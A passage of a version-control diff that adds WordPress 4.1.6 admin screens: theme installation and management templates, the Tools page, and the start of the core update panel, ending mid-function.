+				<a class="clear-filters button button-secondary" href="#"><?php _e( 'Clear' ); ?></a>
+			</div>
+		<?php
+		$feature_list = get_theme_feature_list();
+		foreach ( $feature_list as $feature_name => $features ) {
+			echo '<div class="filter-group">';
+			$feature_name = esc_html( $feature_name );
+			echo '<h4>' . $feature_name . '</h4>';
+			echo '<ol class="feature-group">';
+			foreach ( $features as $feature => $feature_name ) {
+				$feature = esc_attr( $feature );
+				echo '<li><input type="checkbox" id="filter-id-' . $feature . '" value="' . $feature . '" /> ';
+				echo '<label for="filter-id-' . $feature . '">' . $feature_name . '</label></li>';
+			}
+			echo '</ol>';
+			echo '</div>';
+		}
+		?>
+			<div class="filtered-by">
+				<span><?php _e( 'Filtering by:' ); ?></span>
+				<div class="tags"></div>
+				<a href="#"><?php _e( 'Edit' ); ?></a>
+			</div>
+		</div>
+	</div>
+	<div class="theme-browser content-filterable"></div>
+	<div class="theme-install-overlay wp-full-overlay expanded"></div>
+
+	<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
+	<span class="spinner"></span>
+
+	<br class="clear" />
+<?php
+if ( $tab ) {
+	/**
+	 * Fires at the top of each of the tabs on the Install Themes page.
+	 *
+	 * The dynamic portion of the hook name, `$tab`, refers to the current
+	 * theme install tab. Possible values are 'dashboard', 'search', 'upload',
+	 * 'featured', 'new', or 'updated'.
+	 *
+	 * @since 2.8.0
+	 *
+	 * @param int $paged Number of the current page of results being viewed.
+	 */
+	do_action( "install_themes_{$tab}", $paged );
+}
+?>
+</div>
+
+<script id="tmpl-theme" type="text/template">
+	<# if ( data.screenshot_url ) { #>
+		<div class="theme-screenshot">
+			<img src="{{ data.screenshot_url }}" alt="" />
+		</div>
+	<# } else { #>
+		<div class="theme-screenshot blank"></div>
+	<# } #>
+	<span class="more-details"><?php _ex( 'Details &amp; Preview', 'theme' ); ?></span>
+	<div class="theme-author"><?php printf( __( 'By %s' ), '{{ data.author }}' ); ?></div>
+	<h3 class="theme-name">{{ data.name }}</h3>
+
+	<div class="theme-actions">
+		<a class="button button-primary" href="{{ data.install_url }}"><?php esc_html_e( 'Install' ); ?></a>
+		<a class="button button-secondary preview install-theme-preview" href="#"><?php esc_html_e( 'Preview' ); ?></a>
+	</div>
+
+	<# if ( data.installed ) { #>
+		<div class="theme-installed"><?php _ex( 'Already Installed', 'theme' ); ?></div>
+	<# } #>
+</script>
+
+<script id="tmpl-theme-preview" type="text/template">
+	<div class="wp-full-overlay-sidebar">
+		<div class="wp-full-overlay-header">
+			<a href="#" class="close-full-overlay"><span class="screen-reader-text"><?php _e( 'Close' ); ?></span></a>
+			<a href="#" class="previous-theme"><span class="screen-reader-text"><?php _ex( 'Previous', 'Button label for a theme' ); ?></span></a>
+			<a href="#" class="next-theme"><span class="screen-reader-text"><?php _ex( 'Next', 'Button label for a theme' ); ?></span></a>
+		<# if ( data.installed ) { #>
+			<a href="#" class="button button-primary theme-install disabled"><?php _ex( 'Installed', 'theme' ); ?></a>
+		<# } else { #>
+			<a href="{{ data.install_url }}" class="button button-primary theme-install"><?php _e( 'Install' ); ?></a>
+		<# } #>
+		</div>
+		<div class="wp-full-overlay-sidebar-content">
+			<div class="install-theme-info">
+				<h3 class="theme-name">{{ data.name }}</h3>
+				<span class="theme-by"><?php printf( __( 'By %s' ), '{{ data.author }}' ); ?></span>
+
+				<img class="theme-screenshot" src="{{ data.screenshot_url }}" alt="" />
+
+				<div class="theme-details">
+					<div class="rating rating-{{ Math.round( data.rating / 10 ) * 10 }}">
+						<span class="one"></span>
+						<span class="two"></span>
+						<span class="three"></span>
+						<span class="four"></span>
+						<span class="five"></span>
+					<# if ( data.num_ratings ) { #>
+						<small class="ratings">{{ data.num_ratings }}</small>
+					<# } else { #>
+						<small class="ratings"><?php _e( 'No ratings.' ); ?></small>
+					<# } #>
+					</div>
+					<div class="theme-version"><?php printf( __( 'Version: %s' ), '{{ data.version }}' ); ?></div>
+					<div class="theme-description">{{{ data.description }}}</div>
+				</div>
+			</div>
+		</div>
+		<div class="wp-full-overlay-footer">
+			<a href="#" class="collapse-sidebar" title="<?php esc_attr_e( 'Collapse Sidebar' ); ?>">
+				<span class="collapse-sidebar-label"><?php _e( 'Collapse' ); ?></span>
+				<span class="collapse-sidebar-arrow"></span>
+			</a>
+		</div>
+	</div>
+	<div class="wp-full-overlay-main">
+		<iframe src="{{ data.preview_url }}" />
+	</div>
+</script>
+
+<?php
+include(ABSPATH . 'wp-admin/admin-footer.php');
Index: /tags/4.1.6/src/wp-admin/themes.php
===================================================================
--- /tags/4.1.6/src/wp-admin/themes.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/themes.php	(revision 33402)
@@ -0,0 +1,409 @@
+<?php
+/**
+ * Themes administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+if ( !current_user_can('switch_themes') && !current_user_can('edit_theme_options') )
+	wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+
+if ( current_user_can( 'switch_themes' ) && isset($_GET['action'] ) ) {
+	if ( 'activate' == $_GET['action'] ) {
+		check_admin_referer('switch-theme_' . $_GET['stylesheet']);
+		$theme = wp_get_theme( $_GET['stylesheet'] );
+		if ( ! $theme->exists() || ! $theme->is_allowed() )
+			wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+		switch_theme( $theme->get_stylesheet() );
+		wp_redirect( admin_url('themes.php?activated=true') );
+		exit;
+	} elseif ( 'delete' == $_GET['action'] ) {
+		check_admin_referer('delete-theme_' . $_GET['stylesheet']);
+		$theme = wp_get_theme( $_GET['stylesheet'] );
+		if ( !current_user_can('delete_themes') || ! $theme->exists() )
+			wp_die( __( 'Cheatin&#8217; uh?' ), 403 );
+		$active = wp_get_theme();
+		if ( $active->get( 'Template' ) == $_GET['stylesheet'] ) {
+			wp_redirect( admin_url( 'themes.php?delete-active-child=true' ) );
+		} else {
+			delete_theme( $_GET['stylesheet'] );
+			wp_redirect( admin_url( 'themes.php?deleted=true' ) );
+		}
+		exit;
+	}
+}
+
+$title = __('Manage Themes');
+$parent_file = 'themes.php';
+
+// Help tab: Overview
+if ( current_user_can( 'switch_themes' ) ) {
+	$help_overview  = '<p>' . __( 'This screen is used for managing your installed themes. Aside from the default theme(s) included with your WordPress installation, themes are designed and developed by third parties.' ) . '</p>' .
+		'<p>' . __( 'From this screen you can:' ) . '</p>' .
+		'<ul><li>' . __( 'Hover or tap to see Activate and Live Preview buttons' ) . '</li>' .
+		'<li>' . __( 'Click on the theme to see the theme name, version, author, description, tags, and the Delete link' ) . '</li>' .
+		'<li>' . __( 'Click Customize for the current theme or Live Preview for any other theme to see a live preview' ) . '</li></ul>' .
+		'<p>' . __( 'The current theme is displayed highlighted as the first theme.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'overview',
+		'title'   => __( 'Overview' ),
+		'content' => $help_overview
+	) );
+} // switch_themes
+
+// Help tab: Adding Themes
+if ( current_user_can( 'install_themes' ) ) {
+	if ( is_multisite() ) {
+		$help_install = '<p>' . __('Installing themes on Multisite can only be done from the Network Admin section.') . '</p>';
+	} else {
+		$help_install = '<p>' . sprintf( __('If you would like to see more themes to choose from, click on the &#8220;Add New&#8221; button and you will be able to browse or search for additional themes from the <a href="%s" target="_blank">WordPress.org Theme Directory</a>. Themes in the WordPress.org Theme Directory are designed and developed by third parties, and are compatible with the license WordPress uses. Oh, and they&#8217;re free!'), 'https://wordpress.org/themes/' ) . '</p>';
+	}
+
+	get_current_screen()->add_help_tab( array(
+		'id'      => 'adding-themes',
+		'title'   => __('Adding Themes'),
+		'content' => $help_install
+	) );
+} // install_themes
+
+// Help tab: Previewing and Customizing
+if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) {
+	$help_customize =
+		'<p>' . __( 'Tap or hover on any theme then click the Live Preview button to see a live preview of that theme and change theme options in a separate, full-screen view. You can also find a Live Preview button at the bottom of the theme details screen. Any installed theme can be previewed and customized in this way.' ) . '</p>'.
+		'<p>' . __( 'The theme being previewed is fully interactive &mdash; navigate to different pages to see how the theme handles posts, archives, and other page templates. The settings may differ depending on what theme features the theme being previewed supports. To accept the new settings and activate the theme all in one step, click the Save &amp; Activate button above the menu.' ) . '</p>' .
+		'<p>' . __( 'When previewing on smaller monitors, you can use the collapse icon at the bottom of the left-hand pane. This will hide the pane, giving you more room to preview your site in the new theme. To bring the pane back, click on the collapse icon again.' ) . '</p>';
+
+	get_current_screen()->add_help_tab( array(
+		'id'		=> 'customize-preview-themes',
+		'title'		=> __( 'Previewing and Customizing' ),
+		'content'	=> $help_customize
+	) );
+} // edit_theme_options && customize
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __( 'For more information:' ) . '</strong></p>' .
+	'<p>' . __( '<a href="http://codex.wordpress.org/Using_Themes" target="_blank">Documentation on Using Themes</a>' ) . '</p>' .
+	'<p>' . __( '<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>' ) . '</p>'
+);
+
+if ( current_user_can( 'switch_themes' ) ) {
+	$themes = wp_prepare_themes_for_js();
+} else {
+	$themes = wp_prepare_themes_for_js( array( wp_get_theme() ) );
+}
+wp_reset_vars( array( 'theme', 'search' ) );
+
+wp_localize_script( 'theme', '_wpThemeSettings', array(
+	'themes'   => $themes,
+	'settings' => array(
+		'canInstall'    => ( ! is_multisite() && current_user_can( 'install_themes' ) ),
+		'installURI'    => ( ! is_multisite() && current_user_can( 'install_themes' ) ) ? admin_url( 'theme-install.php' ) : null,
+		'confirmDelete' => __( "Are you sure you want to delete this theme?\n\nClick 'Cancel' to go back, 'OK' to confirm the delete." ),
+		'adminUrl'      => parse_url( admin_url(), PHP_URL_PATH ),
+	),
+ 	'l10n' => array(
+ 		'addNew' => __( 'Add New Theme' ),
+ 		'search'  => __( 'Search Installed Themes' ),
+ 		'searchPlaceholder' => __( 'Search installed themes...' ), // placeholder (no ellipsis)
+  	),
+) );
+
+add_thickbox();
+wp_enqueue_script( 'theme' );
+wp_enqueue_script( 'customize-loader' );
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+?>
+
+<div class="wrap">
+	<h2><?php esc_html_e( 'Themes' ); ?>
+		<span class="title-count theme-count"><?php echo count( $themes ); ?></span>
+	<?php if ( ! is_multisite() && current_user_can( 'install_themes' ) ) : ?>
+		<a href="<?php echo admin_url( 'theme-install.php' ); ?>" class="hide-if-no-js add-new-h2"><?php echo esc_html_x( 'Add New', 'Add new theme' ); ?></a>
+	<?php endif; ?>
+	</h2>
+<?php
+if ( ! validate_current_theme() || isset( $_GET['broken'] ) ) : ?>
+<div id="message1" class="updated"><p><?php _e('The active theme is broken. Reverting to the default theme.'); ?></p></div>
+<?php elseif ( isset($_GET['activated']) ) :
+		if ( isset( $_GET['previewed'] ) ) { ?>
+		<div id="message2" class="updated"><p><?php printf( __( 'Settings saved and theme activated. <a href="%s">Visit site</a>' ), home_url( '/' ) ); ?></p></div>
+		<?php } else { ?>
+<div id="message2" class="updated"><p><?php printf( __( 'New theme activated. <a href="%s">Visit site</a>' ), home_url( '/' ) ); ?></p></div><?php
+		}
+	elseif ( isset($_GET['deleted']) ) : ?>
+<div id="message3" class="updated"><p><?php _e('Theme deleted.') ?></p></div>
+<?php elseif ( isset( $_GET['delete-active-child'] ) ) : ?>
+	<div id="message4" class="error"><p><?php _e( 'You cannot delete a theme while it has an active child theme.' ); ?></p></div>
+<?php
+endif;
+
+$ct = wp_get_theme();
+
+if ( $ct->errors() && ( ! is_multisite() || current_user_can( 'manage_network_themes' ) ) ) {
+	echo '<div class="error"><p>' . sprintf( __( 'ERROR: %s' ), $ct->errors()->get_error_message() ) . '</p></div>';
+}
+
+/*
+// Certain error codes are less fatal than others. We can still display theme information in most cases.
+if ( ! $ct->errors() || ( 1 == count( $ct->errors()->get_error_codes() )
+	&& in_array( $ct->errors()->get_error_code(), array( 'theme_no_parent', 'theme_parent_invalid', 'theme_no_index' ) ) ) ) : ?>
+*/
+
+	// Pretend you didn't see this.
+	$current_theme_actions = array();
+	if ( is_array( $submenu ) && isset( $submenu['themes.php'] ) ) {
+		foreach ( (array) $submenu['themes.php'] as $item) {
+			$class = '';
+			if ( 'themes.php' == $item[2] || 'theme-editor.php' == $item[2] || 0 === strpos( $item[2], 'customize.php' ) )
+				continue;
+			// 0 = name, 1 = capability, 2 = file
+			if ( ( strcmp($self, $item[2]) == 0 && empty($parent_file)) || ($parent_file && ($item[2] == $parent_file)) )
+				$class = ' current';
+			if ( !empty($submenu[$item[2]]) ) {
+				$submenu[$item[2]] = array_values($submenu[$item[2]]); // Re-index.
+				$menu_hook = get_plugin_page_hook($submenu[$item[2]][0][2], $item[2]);
+				if ( file_exists(WP_PLUGIN_DIR . "/{$submenu[$item[2]][0][2]}") || !empty($menu_hook))
+					$current_theme_actions[] = "<a class='button button-secondary$class' href='admin.php?page={$submenu[$item[2]][0][2]}'>{$item[0]}</a>";
+				else
+					$current_theme_actions[] = "<a class='button button-secondary$class' href='{$submenu[$item[2]][0][2]}'>{$item[0]}</a>";
+			} elseif ( ! empty( $item[2] ) && current_user_can( $item[1] ) ) {
+				$menu_file = $item[2];
+
+				if ( current_user_can( 'customize' ) ) {
+					if ( 'custom-header' === $menu_file ) {
+						$current_theme_actions[] = "<a class='button button-secondary hide-if-no-customize$class' href='customize.php?autofocus[control]=header_image'>{$item[0]}</a>";
+					} elseif ( 'custom-background' === $menu_file ) {
+						$current_theme_actions[] = "<a class='button button-secondary hide-if-no-customize$class' href='customize.php?autofocus[control]=background_image'>{$item[0]}</a>";
+					}
+				}
+
+				if ( false !== ( $pos = strpos( $menu_file, '?' ) ) ) {
+					$menu_file = substr( $menu_file, 0, $pos );
+				}
+
+				if ( file_exists( ABSPATH . "wp-admin/$menu_file" ) ) {
+					$current_theme_actions[] = "<a class='button button-secondary$class' href='{$item[2]}'>{$item[0]}</a>";
+				} else {
+					$current_theme_actions[] = "<a class='button button-secondary$class' href='themes.php?page={$item[2]}'>{$item[0]}</a>";
+				}
+			}
+		}
+	}
+
+?>
+
+<div class="theme-browser">
+	<div class="themes">
+
+<?php
+/*
+ * This PHP is synchronized with the tmpl-theme template below!
+ */
+
+foreach ( $themes as $theme ) :
+	$aria_action = esc_attr( $theme['id'] . '-action' );
+	$aria_name   = esc_attr( $theme['id'] . '-name' );
+	?>
+<div class="theme<?php if ( $theme['active'] ) echo ' active'; ?>" tabindex="0" aria-describedby="<?php echo $aria_action . ' ' . $aria_name; ?>">
+	<?php if ( ! empty( $theme['screenshot'][0] ) ) { ?>
+		<div class="theme-screenshot">
+			<img src="<?php echo $theme['screenshot'][0]; ?>" alt="" />
+		</div>
+	<?php } else { ?>
+		<div class="theme-screenshot blank"></div>
+	<?php } ?>
+	<span class="more-details" id="<?php echo $aria_action; ?>"><?php _e( 'Theme Details' ); ?></span>
+	<div class="theme-author"><?php printf( __( 'By %s' ), $theme['author'] ); ?></div>
+
+	<?php if ( $theme['active'] ) { ?>
+		<h3 class="theme-name" id="<?php echo $aria_name; ?>"><span><?php _ex( 'Active:', 'theme' ); ?></span> <?php echo $theme['name']; ?></h3>
+	<?php } else { ?>
+		<h3 class="theme-name" id="<?php echo $aria_name; ?>"><?php echo $theme['name']; ?></h3>
+	<?php } ?>
+
+	<div class="theme-actions">
+
+	<?php if ( $theme['active'] ) { ?>
+		<?php if ( $theme['actions']['customize'] && current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { ?>
+			<a class="button button-primary customize load-customize hide-if-no-customize" href="<?php echo $theme['actions']['customize']; ?>"><?php _e( 'Customize' ); ?></a>
+		<?php } ?>
+	<?php } else { ?>
+		<a class="button button-secondary activate" href="<?php echo $theme['actions']['activate']; ?>"><?php _e( 'Activate' ); ?></a>
+		<?php if ( current_user_can( 'edit_theme_options' ) && current_user_can( 'customize' ) ) { ?>
+			<a class="button button-primary load-customize hide-if-no-customize" href="<?php echo $theme['actions']['customize']; ?>"><?php _e( 'Live Preview' ); ?></a>
+			<a class="button button-secondary hide-if-customize" href="<?php echo $theme['actions']['preview']; ?>"><?php _e( 'Preview' ); ?></a>
+		<?php } ?>
+	<?php } ?>
+
+	</div>
+
+	<?php if ( $theme['hasUpdate'] ) { ?>
+		<div class="theme-update"><?php _e( 'Update Available' ); ?></div>
+	<?php } ?>
+</div>
+<?php endforeach; ?>
+	<br class="clear" />
+	</div>
+</div>
+<div class="theme-overlay"></div>
+
+<p class="no-themes"><?php _e( 'No themes found. Try a different search.' ); ?></p>
+
+<?php
+// List broken themes, if any.
+if ( ! is_multisite() && current_user_can('edit_themes') && $broken_themes = wp_get_themes( array( 'errors' => true ) ) ) {
+?>
+
+<div class="broken-themes">
+<h3><?php _e('Broken Themes'); ?></h3>
+<p><?php _e('The following themes are installed but incomplete. Themes must have a stylesheet and a template.'); ?></p>
+
+<?php
+$can_delete = current_user_can( 'delete_themes' );
+?>
+<table>
+	<tr>
+		<th><?php _ex('Name', 'theme name'); ?></th>
+		<th><?php _e('Description'); ?></th>
+		<?php if ( $can_delete ) { ?>
+			<th></th>
+		<?php } ?>
+		</tr>
+	</tr>
+	<?php foreach ( $broken_themes as $broken_theme ) : ?>
+		<tr>
+			<td><?php echo $broken_theme->get( 'Name' ) ? $broken_theme->display( 'Name' ) : $broken_theme->get_stylesheet(); ?></td>
+			<td><?php echo $broken_theme->errors()->get_error_message(); ?></td>
+			<?php
+			if ( $can_delete ) {
+				$stylesheet = $broken_theme->get_stylesheet();
+				$delete_url = add_query_arg( array(
+					'action'     => 'delete',
+					'stylesheet' => urlencode( $stylesheet ),
+				), admin_url( 'themes.php' ) );
+				$delete_url = wp_nonce_url( $delete_url, 'delete-theme_' . $stylesheet );
+				?>
+				<td><a href="<?php echo esc_url( $delete_url ); ?>" class="button button-secondary delete-theme"><?php _e( 'Delete' ); ?></a></td>
+				<?php
+			}
+			?>
+		</tr>
+	<?php endforeach; ?>
+</table>
+</div>
+
+<?php
+}
+?>
+</div><!-- .wrap -->
+
+<?php
+/*
+ * The tmpl-theme template is synchronized with PHP above!
+ */
+?>
+<script id="tmpl-theme" type="text/template">
+	<# if ( data.screenshot[0] ) { #>
+		<div class="theme-screenshot">
+			<img src="{{ data.screenshot[0] }}" alt="" />
+		</div>
+	<# } else { #>
+		<div class="theme-screenshot blank"></div>
+	<# } #>
+	<span class="more-details" id="{{ data.id }}-action"><?php _e( 'Theme Details' ); ?></span>
+	<div class="theme-author"><?php printf( __( 'By %s' ), '{{{ data.author }}}' ); ?></div>
+
+	<# if ( data.active ) { #>
+		<h3 class="theme-name" id="{{ data.id }}-name"><span><?php _ex( 'Active:', 'theme' ); ?></span> {{{ data.name }}}</h3>
+	<# } else { #>
+		<h3 class="theme-name" id="{{ data.id }}-name">{{{ data.name }}}</h3>
+	<# } #>
+
+	<div class="theme-actions">
+
+	<# if ( data.active ) { #>
+		<# if ( data.actions.customize ) { #>
+			<a class="button button-primary customize load-customize hide-if-no-customize" href="{{ data.actions.customize }}"><?php _e( 'Customize' ); ?></a>
+		<# } #>
+	<# } else { #>
+		<a class="button button-secondary activate" href="{{{ data.actions.activate }}}"><?php _e( 'Activate' ); ?></a>
+		<a class="button button-primary load-customize hide-if-no-customize" href="{{{ data.actions.customize }}}"><?php _e( 'Live Preview' ); ?></a>
+		<a class="button button-secondary hide-if-customize" href="{{{ data.actions.preview }}}"><?php _e( 'Preview' ); ?></a>
+	<# } #>
+
+	</div>
+
+	<# if ( data.hasUpdate ) { #>
+		<div class="theme-update"><?php _e( 'Update Available' ); ?></div>
+	<# } #>
+</script>
+
+<script id="tmpl-theme-single" type="text/template">
+	<div class="theme-backdrop"></div>
+	<div class="theme-wrap">
+		<div class="theme-header">
+			<button class="left dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show previous theme' ); ?></span></button>
+			<button class="right dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Show next theme' ); ?></span></button>
+			<button class="close dashicons dashicons-no"><span class="screen-reader-text"><?php _e( 'Close overlay' ); ?></span></button>
+		</div>
+		<div class="theme-about">
+			<div class="theme-screenshots">
+			<# if ( data.screenshot[0] ) { #>
+				<div class="screenshot"><img src="{{ data.screenshot[0] }}" alt="" /></div>
+			<# } else { #>
+				<div class="screenshot blank"></div>
+			<# } #>
+			</div>
+
+			<div class="theme-info">
+				<# if ( data.active ) { #>
+					<span class="current-label"><?php _e( 'Current Theme' ); ?></span>
+				<# } #>
+				<h3 class="theme-name">{{{ data.name }}}<span class="theme-version"><?php printf( __( 'Version: %s' ), '{{{ data.version }}}' ); ?></span></h3>
+				<h4 class="theme-author"><?php printf( __( 'By %s' ), '{{{ data.authorAndUri }}}' ); ?></h4>
+
+				<# if ( data.hasUpdate ) { #>
+				<div class="theme-update-message">
+					<h4 class="theme-update"><?php _e( 'Update Available' ); ?></h4>
+					{{{ data.update }}}
+				</div>
+				<# } #>
+				<p class="theme-description">{{{ data.description }}}</p>
+
+				<# if ( data.parent ) { #>
+					<p class="parent-theme"><?php printf( __( 'This is a child theme of %s.' ), '<strong>{{{ data.parent }}}</strong>' ); ?></p>
+				<# } #>
+
+				<# if ( data.tags ) { #>
+					<p class="theme-tags"><span><?php _e( 'Tags:' ); ?></span> {{{ data.tags }}}</p>
+				<# } #>
+			</div>
+		</div>
+
+		<div class="theme-actions">
+			<div class="active-theme">
+				<a href="{{{ data.actions.customize }}}" class="button button-primary customize load-customize hide-if-no-customize"><?php _e( 'Customize' ); ?></a>
+				<?php echo implode( ' ', $current_theme_actions ); ?>
+			</div>
+			<div class="inactive-theme">
+				<# if ( data.actions.activate ) { #>
+					<a href="{{{ data.actions.activate }}}" class="button button-secondary activate"><?php _e( 'Activate' ); ?></a>
+				<# } #>
+				<a href="{{{ data.actions.customize }}}" class="button button-primary load-customize hide-if-no-customize"><?php _e( 'Live Preview' ); ?></a>
+				<a href="{{{ data.actions.preview }}}" class="button button-secondary hide-if-customize"><?php _e( 'Preview' ); ?></a>
+			</div>
+
+			<# if ( ! data.active && data.actions['delete'] ) { #>
+				<a href="{{{ data.actions['delete'] }}}" class="button button-secondary delete-theme"><?php _e( 'Delete' ); ?></a>
+			<# } #>
+		</div>
+	</div>
+</script>
+
+<?php require( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/tools.php
===================================================================
--- /tags/4.1.6/src/wp-admin/tools.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/tools.php	(revision 33402)
@@ -0,0 +1,75 @@
+<?php
+/**
+ * Tools Administration Screen.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+$title = __('Tools');
+
+get_current_screen()->add_help_tab( array(
+	'id'      => 'press-this',
+	'title'   => __('Press This'),
+	'content' => '<p>' . __('Press This is a bookmarklet that makes it easy to blog about something you come across on the web. You can use it to just grab a link, or to post an excerpt. Press This will even allow you to choose from images included on the page and use them in your post. Just drag the Press This link on this screen to your bookmarks bar in your browser, and you&#8217;ll be on your way to easier content creation. Clicking on it while on another website opens a popup window with all these options.') . '</p>',
+) );
+get_current_screen()->add_help_tab( array(
+	'id'      => 'converter',
+	'title'   => __('Categories and Tags Converter'),
+	'content' => '<p>' . __('Categories have hierarchy, meaning that you can nest sub-categories. Tags do not have hierarchy and cannot be nested. Sometimes people start out using one on their posts, then later realize that the other would work better for their content.' ) . '</p>' .
+	'<p>' . __( 'The Categories and Tags Converter link on this screen will take you to the Import screen, where that Converter is one of the plugins you can install. Once that plugin is installed, the Activate Plugin &amp; Run Importer link will take you to a screen where you can choose to convert tags into categories or vice versa.' ) . '</p>',
+) );
+
+get_current_screen()->set_help_sidebar(
+	'<p><strong>' . __('For more information:') . '</strong></p>' .
+	'<p>' . __('<a href="http://codex.wordpress.org/Tools_Screen" target="_blank">Documentation on Tools</a>') . '</p>' .
+	'<p>' . __('<a href="https://wordpress.org/support/" target="_blank">Support Forums</a>') . '</p>'
+);
+
+require_once( ABSPATH . 'wp-admin/admin-header.php' );
+
+?>
+<div class="wrap">
+<h2><?php echo esc_html( $title ); ?></h2>
+
+<?php if ( current_user_can('edit_posts') ) : ?>
+<div class="tool-box">
+	<h3 class="title"><?php _e('Press This') ?></h3>
+	<p><?php _e('Press This is a bookmarklet: a little app that runs in your browser and lets you grab bits of the web.');?></p>
+
+	<p><?php _e('Use Press This to clip text, images and videos from any web page. Then edit and add more straight from Press This before you save or publish it in a post on your site.'); ?></p>
+	<p class="description"><?php _e('Drag-and-drop the following link to your bookmarks bar or right click it and add it to your favorites for a posting shortcut.') ?></p>
+	<p class="pressthis"><a onclick="return false;" oncontextmenu="if(window.navigator.userAgent.indexOf('WebKit')!=-1||window.navigator.userAgent.indexOf('MSIE')!=-1){jQuery('.pressthis-code').show().find('textarea').focus().select();return false;}" href="<?php echo htmlspecialchars( get_shortcut_link() ); ?>"><span><?php _e('Press This') ?></span></a></p>
+	<div class="pressthis-code" style="display:none;">
+	<p class="description"><?php _e('If your bookmarks toolbar is hidden: copy the code below, open your Bookmarks manager, create new bookmark, type Press This into the name field and paste the code into the URL field.') ?></p>
+	<p><textarea rows="5" cols="120" readonly="readonly"><?php echo htmlspecialchars( get_shortcut_link() ); ?></textarea></p>
+	</div>
+</div>
+<?php
+endif;
+
+if ( current_user_can( 'import' ) ) :
+$cats = get_taxonomy('category');
+$tags = get_taxonomy('post_tag');
+if ( current_user_can($cats->cap->manage_terms) || current_user_can($tags->cap->manage_terms) ) : ?>
+<div class="tool-box">
+    <h3 class="title"><?php _e( 'Categories and Tags Converter' ) ?></h3>
+    <p><?php printf( __('If you want to convert your categories to tags (or vice versa), use the <a href="%s">Categories and Tags Converter</a> available from the Import screen.'), 'import.php' ); ?></p>
+</div>
+<?php
+endif;
+endif;
+
+/**
+ * Fires at the end of the Tools Administration screen.
+ *
+ * @since 2.8.0
+ */
+do_action( 'tool_box' );
+?>
+</div>
+<?php
+include( ABSPATH . 'wp-admin/admin-footer.php' );
Index: /tags/4.1.6/src/wp-admin/update-core.php
===================================================================
--- /tags/4.1.6/src/wp-admin/update-core.php	(revision 33402)
+++ /tags/4.1.6/src/wp-admin/update-core.php	(revision 33402)
@@ -0,0 +1,659 @@
+<?php
+/**
+ * Update Core administration panel.
+ *
+ * @package WordPress
+ * @subpackage Administration
+ */
+
+/** WordPress Administration Bootstrap */
+require_once( dirname( __FILE__ ) . '/admin.php' );
+
+wp_enqueue_style( 'plugin-install' );
+wp_enqueue_script( 'plugin-install' );
+wp_enqueue_script( 'updates' );
+add_thickbox();
+
+if ( is_multisite() && ! is_network_admin() ) {
+	wp_redirect( network_admin_url( 'update-core.php' ) );
+	exit();
+}
+
+if ( ! current_user_can( 'update_core' ) && ! current_user_can( 'update_themes' ) && ! current_user_can( 'update_plugins' ) )
+	wp_die( __( 'You do not have sufficient permissions to update this site.' ) );
+
+function list_core_update( $update ) {
+ 	global $wp_local_package, $wpdb, $wp_version;
+  	static $first_pass = true;
+
+ 	if ( 'en_US' == $update->locale && 'en_US' == get_locale() )
+ 		$version_string = $update->current;
+ 	// If the only available update is a partial builds, it doesn't need a language-specific version string.
+ 	elseif ( 'en_US' == $update->locale && $update->packages->partial && $wp_version == $update->partial_version && ( $updates = get_core_updates() ) && 1 == count( $updates ) )
+ 		$version_string = $update->current;
+ 	else
+ 		$version_string = sprintf( "%s&ndash;<strong>%s</strong>", $update->current, $update->locale );
+
+	$current = false;
+	if ( !isset($update->response) || 'latest' == $update->response )
+		$current = true;
+	$submit = __('Update Now');
+	$form_action = 'update-core.php?action=do-core-upgrade';
+	$php_version    = phpversion();
+	$mysql_version  = $wpdb->db_version();
+	$show_buttons = true;
+	if ( 'development' == $update->response ) {
+		$message = __('You are using a development version of WordPress. You can update to the latest nightly build automatically or download the nightly build and install it manually:');
+		$download = __('Download nightly build');
+	} else {
+		if ( $current ) {
+			$message = sprintf( __( 'If you need to re-install version %s, you can do so here or download the package and re-install manually:' ), $version_string );
+			$submit = __('Re-install Now');
+			$form_action = 'update-core.php?action=do-core-reinstall';
+		} else {
+			$php_compat     = version_compare( $php_version, $update->php_version, '>=' );
+			if ( file_exists( WP_CONTENT_DIR . '/db.php' ) && empty( $wpdb->is_mysql ) )
+				$mysql_compat = true;
+			else
+				$mysql_compat = version_compare( $mysql_version, $update->mysql_version, '>=' );
+
+			if ( !$mysql_compat && !$php_compat )
+				$message = sprintf( __('You cannot update because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher and MySQL version %3$s or higher. You are running PHP version %4$s and MySQL version %5$s.'), $update->current, $update->php_version, $update->mysql_version, $php_version, $mysql_version );
+			elseif ( !$php_compat )
+				$message = sprintf( __('You cannot update because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires PHP version %2$s or higher. You are running version %3$s.'), $update->current, $update->php_version, $php_version );
+			elseif ( !$mysql_compat )
+				$message = sprintf( __('You cannot update because <a href="http://codex.wordpress.org/Version_%1$s">WordPress %1$s</a> requires MySQL version %2$s or higher. You are running version %3$s.'), $update->current, $update->mysql_version, $mysql_version );
+			else
+				$message = 	sprintf(__('You can update to <a href="http://codex.wordpress.org/Version_%1$s">WordPress %2$s</a> automatically or download the package and install it manually:'), $update->current, $version_string);
+			if ( !$mysql_compat || !$php_compat )
+				$show_buttons = false;
+		}
+		$download = sprintf(__('Download %s'), $version_string);
+	}
+
+	echo '<p>';
+	echo $message;
+	echo '</p>';
+	echo '<form method="post" action="' . $form_action . '" name="upgrade" class="upgrade">';
+	wp_nonce_field('upgrade-core');
+	echo '<p>';
